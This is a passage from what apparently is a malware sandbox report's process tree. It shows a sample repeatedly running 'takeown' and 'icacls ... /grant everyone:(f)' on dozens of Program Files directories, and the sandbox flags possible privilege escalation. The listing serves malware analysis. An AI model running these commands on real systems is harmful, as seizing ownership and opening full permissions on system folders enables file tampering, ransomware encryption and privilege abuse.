  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\msadc\en-US && icacls C:\Program Files\Common Files\System\msadc\en-US /grant everyone:(f)
  2⤵
  PID:4772
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\msadc\en-US
    3⤵
    PID:3188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\msadc\es-ES && icacls C:\Program Files\Common Files\System\msadc\es-ES /grant everyone:(f)
  2⤵
  PID:3888
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\msadc\es-ES
    3⤵
    - Possible privilege escalation attempt
    PID:3524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\msadc\fr-FR && icacls C:\Program Files\Common Files\System\msadc\fr-FR /grant everyone:(f)
  2⤵
  PID:2692
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\msadc\fr-FR
    3⤵
    PID:3860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\msadc\it-IT && icacls C:\Program Files\Common Files\System\msadc\it-IT /grant everyone:(f)
  2⤵
  PID:2956
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\msadc\it-IT
    3⤵
    PID:4944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\msadc\ja-JP && icacls C:\Program Files\Common Files\System\msadc\ja-JP /grant everyone:(f)
  2⤵
  PID:3604
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\msadc\ja-JP
    3⤵
    PID:4316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\Ole DB && icacls C:\Program Files\Common Files\System\Ole DB /grant everyone:(f)
  2⤵
  PID:1436
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\Ole DB
    3⤵
    PID:3168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\Ole DB\de-DE && icacls C:\Program Files\Common Files\System\Ole DB\de-DE /grant everyone:(f)
  2⤵
  PID:4692
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\Ole DB\de-DE
    3⤵
    PID:3500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\Ole DB\en-US && icacls C:\Program Files\Common Files\System\Ole DB\en-US /grant everyone:(f)
  2⤵
  PID:436
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\Ole DB\en-US
    3⤵
    PID:5108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\Ole DB\es-ES && icacls C:\Program Files\Common Files\System\Ole DB\es-ES /grant everyone:(f)
  2⤵
  PID:4512
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\Ole DB\es-ES
    3⤵
    PID:5052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\Ole DB\fr-FR && icacls C:\Program Files\Common Files\System\Ole DB\fr-FR /grant everyone:(f)
  2⤵
  PID:4996
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\Ole DB\fr-FR
    3⤵
    PID:1580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\Ole DB\it-IT && icacls C:\Program Files\Common Files\System\Ole DB\it-IT /grant everyone:(f)
  2⤵
  PID:5032
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\Ole DB\it-IT
    3⤵
    PID:1416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\Ole DB\ja-JP && icacls C:\Program Files\Common Files\System\Ole DB\ja-JP /grant everyone:(f)
  2⤵
  PID:1064
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\Ole DB\ja-JP
    3⤵
    PID:2680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Common Files\System\uk-UA && icacls C:\Program Files\Common Files\System\uk-UA /grant everyone:(f)
  2⤵
  PID:1328
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Common Files\System\uk-UA
    3⤵
    PID:3276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Crashpad && icacls C:\Program Files\Crashpad /grant everyone:(f)
  2⤵
  PID:3172
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Crashpad
    3⤵
    PID:1068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Crashpad\attachments && icacls C:\Program Files\Crashpad\attachments /grant everyone:(f)
  2⤵
  PID:1512
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Crashpad\attachments
    3⤵
    PID:624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Crashpad\reports && icacls C:\Program Files\Crashpad\reports /grant everyone:(f)
  2⤵
  PID:4176
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Crashpad\reports
    3⤵
    PID:4364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet && icacls C:\Program Files\dotnet /grant everyone:(f)
  2⤵
  PID:4212
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet
    3⤵
    PID:4452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\host && icacls C:\Program Files\dotnet\host /grant everyone:(f)
  2⤵
  PID:4352
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\host
    3⤵
    PID:432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\host\fxr && icacls C:\Program Files\dotnet\host\fxr /grant everyone:(f)
  2⤵
  PID:3436
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\host\fxr
    3⤵
    PID:4768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\host\fxr\6.0.27 && icacls C:\Program Files\dotnet\host\fxr\6.0.27 /grant everyone:(f)
  2⤵
  PID:692
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\host\fxr\6.0.27
    3⤵
    PID:2424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\host\fxr\7.0.16 && icacls C:\Program Files\dotnet\host\fxr\7.0.16 /grant everyone:(f)
  2⤵
  PID:4952
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\host\fxr\7.0.16
    3⤵
    PID:5040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\host\fxr\8.0.2 && icacls C:\Program Files\dotnet\host\fxr\8.0.2 /grant everyone:(f)
  2⤵
  PID:4740
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\host\fxr\8.0.2
    3⤵
    PID:880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared && icacls C:\Program Files\dotnet\shared /grant everyone:(f)
  2⤵
  PID:1476
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared
    3⤵
    PID:2640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.NETCore.App && icacls C:\Program Files\dotnet\shared\Microsoft.NETCore.App /grant everyone:(f)
  2⤵
  PID:2912
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.NETCore.App
    3⤵
    PID:2924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27 && icacls C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27 /grant everyone:(f)
  2⤵
  PID:2692
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27
    3⤵
    PID:2388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16 && icacls C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16 /grant everyone:(f)
  2⤵
  PID:2676
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16
    3⤵
    PID:4320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.2 && icacls C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.2 /grant everyone:(f)
  2⤵
  PID:680
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.2
    3⤵
    PID:396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App /grant everyone:(f)
  2⤵
  PID:1436
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App
    3⤵
    PID:2624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27 && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27 /grant everyone:(f)
  2⤵
  PID:748
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27
    3⤵
    PID:5016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\cs && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\cs /grant everyone:(f)
  2⤵
  PID:4692
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\cs
    3⤵
    PID:2860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\de && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\de /grant everyone:(f)
  2⤵
  PID:3576
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\de
    3⤵
    PID:3992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\es && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\es /grant everyone:(f)
  2⤵
  PID:3696
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\es
    3⤵
    PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\fr && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\fr /grant everyone:(f)
  2⤵
  PID:4136
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\fr
    3⤵
    PID:1612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\it && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\it /grant everyone:(f)
  2⤵
  PID:5008
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\it
    3⤵
    PID:5028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\ja && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\ja /grant everyone:(f)
  2⤵
  PID:4348
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\ja
    3⤵
    - Modifies file permissions
    PID:4396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\ko && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\ko /grant everyone:(f)
  2⤵
  PID:2932
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\ko
    3⤵
    PID:4992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\pl && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\pl /grant everyone:(f)
  2⤵
  PID:4032
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\pl
    3⤵
    PID:2340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\pt-BR && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\pt-BR /grant everyone:(f)
  2⤵
  PID:996
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\pt-BR
    3⤵
    PID:3504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\ru && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\ru /grant everyone:(f)
  2⤵
  PID:2768
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\ru
    3⤵
    PID:764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\tr && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\tr /grant everyone:(f)
  2⤵
  PID:528
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\tr
    3⤵
    PID:4460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\zh-Hans && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\zh-Hans /grant everyone:(f)
  2⤵
  PID:4736
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\zh-Hans
    3⤵
    PID:3700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\zh-Hant && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\zh-Hant /grant everyone:(f)
  2⤵
  PID:2372
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\zh-Hant
    3⤵
    PID:2052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16 && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16 /grant everyone:(f)
  2⤵
  PID:940
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16
    3⤵
    PID:2376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\cs && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\cs /grant everyone:(f)
  2⤵
  PID:668
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\cs
    3⤵
    PID:1476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\de && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\de /grant everyone:(f)
  2⤵
  PID:2640
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\de
    3⤵
    PID:2912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\es && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\es /grant everyone:(f)
  2⤵
  PID:4368
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\es
    3⤵
    PID:3640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\fr && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\fr /grant everyone:(f)
  2⤵
  PID:2300
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\fr
    3⤵
    PID:1568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\it && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\it /grant everyone:(f)
  2⤵
  PID:5080
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\it
    3⤵
    PID:3168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\ja && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\ja /grant everyone:(f)
  2⤵
  PID:4480
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\ja
    3⤵
    PID:4040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\ko && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\ko /grant everyone:(f)
  2⤵
  PID:1236
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\ko
    3⤵
    PID:2120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\pl && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\pl /grant everyone:(f)
  2⤵
  PID:1044
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\pl
    3⤵
    PID:4708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\pt-BR && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\pt-BR /grant everyone:(f)
  2⤵
  PID:4528
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\pt-BR
    3⤵
    PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\ru && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\ru /grant everyone:(f)
  2⤵
  PID:664
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\ru
    3⤵
    PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\tr && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\tr /grant everyone:(f)
  2⤵
  PID:3644
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\tr
    3⤵
    PID:1896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\zh-Hans && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\zh-Hans /grant everyone:(f)
  2⤵
  PID:3000
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\zh-Hans
    3⤵
    PID:1416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\zh-Hant && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\zh-Hant /grant everyone:(f)
  2⤵
  PID:3172
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\zh-Hant
    3⤵
    - Possible privilege escalation attempt
    PID:4196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2 && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2 /grant everyone:(f)
  2⤵
  PID:4992
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2
    3⤵
    PID:5068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\cs && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\cs /grant everyone:(f)
  2⤵
  PID:4140
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\cs
    3⤵
    PID:4824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\de && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\de /grant everyone:(f)
  2⤵
  PID:4428
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\de
    3⤵
    PID:4844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\es && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\es /grant everyone:(f)
  2⤵
  PID:3684
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\es
    3⤵
    PID:1164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\fr && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\fr /grant everyone:(f)
  2⤵
  PID:5012
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\fr
    3⤵
    PID:3700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\it && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\it /grant everyone:(f)
  2⤵
  PID:3128
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\it
    3⤵
    PID:3224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\ja && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\ja /grant everyone:(f)
  2⤵
  PID:2372
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\ja
    3⤵
    PID:4772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\ko && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\ko /grant everyone:(f)
  2⤵
  PID:736
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\ko
    3⤵
    - Modifies file permissions
    PID:2252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\pl && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\pl /grant everyone:(f)
  2⤵
  PID:3852
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\pl
    3⤵
    PID:3004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\pt-BR && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\pt-BR /grant everyone:(f)
  2⤵
  PID:4704
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\pt-BR
    3⤵
    PID:3180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\ru && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\ru /grant everyone:(f)
  2⤵
  PID:3624
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\ru
    3⤵
    PID:4932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\tr && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\tr /grant everyone:(f)
  2⤵
  PID:4320
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\tr
    3⤵
    PID:960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\zh-Hans && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\zh-Hans /grant everyone:(f)
  2⤵
  PID:4836
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\zh-Hans
    3⤵
    PID:2624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\zh-Hant && icacls C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\zh-Hant /grant everyone:(f)
  2⤵
  PID:4324
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.2\zh-Hant
    3⤵
    PID:3896
- C:\Windows\System32\cmd.exe
